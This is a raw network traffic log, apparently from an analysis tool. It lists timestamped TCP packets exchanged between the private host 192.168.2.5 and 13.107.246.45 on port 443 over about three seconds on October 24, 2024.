Oct 24, 2024 22:10:07.446825981 CEST	443	56471	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.450378895 CEST	443	56472	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.450999975 CEST	56472	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.450999975 CEST	56472	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.451031923 CEST	443	56472	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.451044083 CEST	443	56472	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.569988012 CEST	443	56470	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.570137024 CEST	443	56470	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.570244074 CEST	443	56470	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.570286989 CEST	56470	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.570323944 CEST	56470	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.571053028 CEST	56470	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.571074009 CEST	443	56470	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.571113110 CEST	56470	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.571126938 CEST	443	56470	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.573420048 CEST	56475	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.573446989 CEST	443	56475	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.573611021 CEST	56475	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.573611021 CEST	56475	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.573637962 CEST	443	56475	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.578039885 CEST	443	56471	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.578352928 CEST	443	56471	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.578862906 CEST	56471	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.578941107 CEST	56471	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.578941107 CEST	56471	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.578983068 CEST	443	56471	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.579011917 CEST	443	56471	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.579859018 CEST	443	56472	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.580452919 CEST	443	56472	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.580569983 CEST	443	56472	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.580809116 CEST	56472	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.581015110 CEST	56472	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.581016064 CEST	56472	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.581048012 CEST	443	56472	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.581072092 CEST	443	56472	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.581584930 CEST	56476	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.581657887 CEST	443	56476	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.581849098 CEST	56476	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.581849098 CEST	56476	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.581924915 CEST	443	56476	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.585155964 CEST	56477	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.585190058 CEST	443	56477	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.586219072 CEST	56477	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.586369038 CEST	56477	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.586388111 CEST	443	56477	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.590445042 CEST	443	56473	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.591104984 CEST	56473	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.591104984 CEST	56473	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.591120005 CEST	443	56473	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.591135025 CEST	443	56473	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.595958948 CEST	443	56474	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.596282959 CEST	56474	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.596307993 CEST	443	56474	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.596613884 CEST	56474	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.596626043 CEST	443	56474	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.722290039 CEST	443	56473	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.722723007 CEST	443	56473	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.722820997 CEST	56473	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.722820997 CEST	56473	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.722971916 CEST	56473	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.722990036 CEST	443	56473	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.725208044 CEST	56478	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.725260973 CEST	443	56478	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.725503922 CEST	56478	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.725562096 CEST	56478	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.725579023 CEST	443	56478	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.728907108 CEST	443	56474	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.728939056 CEST	443	56474	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.728991032 CEST	443	56474	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.729111910 CEST	56474	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.729111910 CEST	56474	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.729198933 CEST	56474	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.729199886 CEST	56474	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.729243040 CEST	443	56474	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.729257107 CEST	443	56474	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.730981112 CEST	56479	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.731014013 CEST	443	56479	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:07.731254101 CEST	56479	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.731352091 CEST	56479	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:07.731372118 CEST	443	56479	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.305596113 CEST	443	56475	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.306467056 CEST	56475	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.306467056 CEST	56475	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.306483030 CEST	443	56475	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.306492090 CEST	443	56475	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.314601898 CEST	443	56476	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.315243006 CEST	56476	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.315243006 CEST	56476	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.315294027 CEST	443	56476	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.315335035 CEST	443	56476	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.328198910 CEST	443	56477	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.328536987 CEST	56477	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.328558922 CEST	443	56477	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.328897953 CEST	56477	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.328907013 CEST	443	56477	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.436956882 CEST	443	56475	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.437123060 CEST	443	56475	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.437195063 CEST	56475	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.437357903 CEST	56475	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.437378883 CEST	443	56475	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.437390089 CEST	56475	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.437397003 CEST	443	56475	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.440155029 CEST	56480	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.440232992 CEST	443	56480	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.440303087 CEST	56480	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.440438986 CEST	56480	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.440464973 CEST	443	56480	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.451039076 CEST	443	56478	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.451406002 CEST	56478	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.451433897 CEST	443	56478	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.451788902 CEST	56478	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.451801062 CEST	443	56478	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.457658052 CEST	443	56476	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.457865953 CEST	443	56476	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.457915068 CEST	56476	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.458595991 CEST	56476	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.458626032 CEST	443	56476	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.458652020 CEST	56476	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.458667040 CEST	443	56476	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.458950996 CEST	443	56477	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.459057093 CEST	443	56477	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.459172010 CEST	443	56477	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.459230900 CEST	56477	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.459399939 CEST	56477	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.459418058 CEST	443	56477	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.459430933 CEST	56477	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.459436893 CEST	443	56477	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.460789919 CEST	56481	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.460819006 CEST	443	56481	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.460968018 CEST	56481	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.461148024 CEST	56481	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.461162090 CEST	443	56481	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.461291075 CEST	56482	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.461337090 CEST	443	56482	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.461425066 CEST	56482	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.461569071 CEST	56482	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.461587906 CEST	443	56482	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.474462032 CEST	443	56479	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.474833012 CEST	56479	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.474848032 CEST	443	56479	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.475302935 CEST	56479	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.475308895 CEST	443	56479	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.582550049 CEST	443	56478	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.582688093 CEST	443	56478	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.582770109 CEST	56478	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.582869053 CEST	56478	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.582870007 CEST	56478	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.582912922 CEST	443	56478	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.582940102 CEST	443	56478	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.585402012 CEST	56483	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.585429907 CEST	443	56483	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.585486889 CEST	56483	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.585654020 CEST	56483	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.585669041 CEST	443	56483	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.607763052 CEST	443	56479	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.608066082 CEST	443	56479	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.608122110 CEST	56479	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.608155012 CEST	56479	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.608171940 CEST	443	56479	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.608186007 CEST	56479	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.608191967 CEST	443	56479	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.610589027 CEST	56484	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.610680103 CEST	443	56484	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:08.610748053 CEST	56484	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.610877037 CEST	56484	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:08.610919952 CEST	443	56484	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.192949057 CEST	443	56480	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.193454027 CEST	56480	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.193500042 CEST	443	56480	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.193912029 CEST	56480	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.193918943 CEST	443	56480	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.202847958 CEST	443	56481	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.203205109 CEST	56481	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.203224897 CEST	443	56481	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.203592062 CEST	56481	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.203598976 CEST	443	56481	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.215918064 CEST	443	56482	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.216363907 CEST	56482	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.216412067 CEST	443	56482	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.216670990 CEST	56482	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.216679096 CEST	443	56482	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.320458889 CEST	443	56483	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.320837975 CEST	56483	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.320854902 CEST	443	56483	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.321177006 CEST	56483	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.321182966 CEST	443	56483	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.327600956 CEST	443	56480	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.327677011 CEST	443	56480	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.327780008 CEST	443	56480	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.327842951 CEST	56480	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.327922106 CEST	56480	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.327960014 CEST	443	56480	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.327989101 CEST	56480	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.328005075 CEST	443	56480	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.330573082 CEST	56485	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.330596924 CEST	443	56485	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.330674887 CEST	56485	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.330810070 CEST	56485	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.330820084 CEST	443	56485	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.334640026 CEST	443	56481	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.335267067 CEST	443	56481	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.335333109 CEST	56481	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.335361958 CEST	56481	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.335361958 CEST	56481	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.335376978 CEST	443	56481	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.335388899 CEST	443	56481	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.337347984 CEST	56486	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.337429047 CEST	443	56486	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.337508917 CEST	56486	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.337606907 CEST	56486	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.337641001 CEST	443	56486	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.348635912 CEST	443	56482	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.348706961 CEST	443	56482	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.348804951 CEST	443	56482	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.348828077 CEST	56482	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.348892927 CEST	56482	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.348932028 CEST	56482	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.348932028 CEST	56482	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.348970890 CEST	443	56482	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.348999023 CEST	443	56482	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.351607084 CEST	56487	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.351655960 CEST	443	56487	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.351874113 CEST	56487	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.351874113 CEST	56487	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.351936102 CEST	443	56487	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.358803988 CEST	443	56484	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.359463930 CEST	56484	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.359463930 CEST	56484	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.359500885 CEST	443	56484	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.359523058 CEST	443	56484	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.451008081 CEST	443	56483	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.451175928 CEST	443	56483	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.451329947 CEST	56483	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.451673031 CEST	56483	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.451694012 CEST	443	56483	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.451850891 CEST	56483	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.451858044 CEST	443	56483	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.454488993 CEST	56488	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.454581022 CEST	443	56488	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.454811096 CEST	56488	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.454811096 CEST	56488	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.454893112 CEST	443	56488	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.491305113 CEST	443	56484	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.491466045 CEST	443	56484	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.491588116 CEST	56484	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.491588116 CEST	56484	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.491641998 CEST	56484	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.491666079 CEST	443	56484	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.493885994 CEST	56489	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.493911982 CEST	443	56489	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:09.494139910 CEST	56489	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.494139910 CEST	56489	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:09.494163990 CEST	443	56489	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.055120945 CEST	443	56485	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.069613934 CEST	443	56486	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.076540947 CEST	56485	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.076540947 CEST	56485	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.076630116 CEST	443	56485	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.076667070 CEST	443	56485	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.077023029 CEST	56486	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.077065945 CEST	443	56486	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.077282906 CEST	56486	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.077299118 CEST	443	56486	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.078591108 CEST	443	56487	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.078933001 CEST	56487	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.079014063 CEST	443	56487	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.079360962 CEST	56487	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.079375982 CEST	443	56487	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.200193882 CEST	443	56485	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.200290918 CEST	443	56485	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.200341940 CEST	443	56485	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.200742006 CEST	56485	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.200742006 CEST	56485	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.200742006 CEST	56485	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.204247952 CEST	443	56486	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.204303980 CEST	56490	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.204396009 CEST	443	56490	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.204416990 CEST	443	56486	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.204528093 CEST	56490	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.204528093 CEST	56486	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.204698086 CEST	56490	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.204699039 CEST	56486	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.204730034 CEST	443	56486	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.204734087 CEST	443	56490	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.204775095 CEST	56486	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.204791069 CEST	443	56486	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.207014084 CEST	56491	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.207037926 CEST	443	56491	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.207173109 CEST	443	56487	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.207216024 CEST	56491	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.207216024 CEST	56491	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.207240105 CEST	443	56491	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.207299948 CEST	443	56487	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.207426071 CEST	443	56488	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.207576036 CEST	56487	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.207576036 CEST	56487	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.207735062 CEST	56487	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.207773924 CEST	443	56487	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.207817078 CEST	56488	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.207859993 CEST	443	56488	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.209146023 CEST	56488	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.209156990 CEST	443	56488	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.209660053 CEST	56492	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.209692001 CEST	443	56492	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.210052967 CEST	56492	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.210223913 CEST	56492	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.210237026 CEST	443	56492	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.225945950 CEST	443	56489	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.226680994 CEST	56489	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.226694107 CEST	443	56489	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.227104902 CEST	56489	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.227109909 CEST	443	56489	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.338135004 CEST	443	56488	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.338166952 CEST	443	56488	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.338212967 CEST	443	56488	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.338243008 CEST	56488	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.338279963 CEST	56488	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.338438988 CEST	56488	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.338470936 CEST	443	56488	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.338509083 CEST	56488	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.338526964 CEST	443	56488	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.340595961 CEST	56493	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.340624094 CEST	443	56493	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.340781927 CEST	56493	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.340852976 CEST	56493	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.340864897 CEST	443	56493	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.356693029 CEST	443	56489	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.356767893 CEST	443	56489	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.356878996 CEST	56489	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.356988907 CEST	56489	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.356988907 CEST	56489	443	192.168.2.5	13.107.246.45
Oct 24, 2024 22:10:10.356997967 CEST	443	56489	13.107.246.45	192.168.2.5
Oct 24, 2024 22:10:10.357006073 CEST	443	56489	13.107.246.45	192.168.2.5
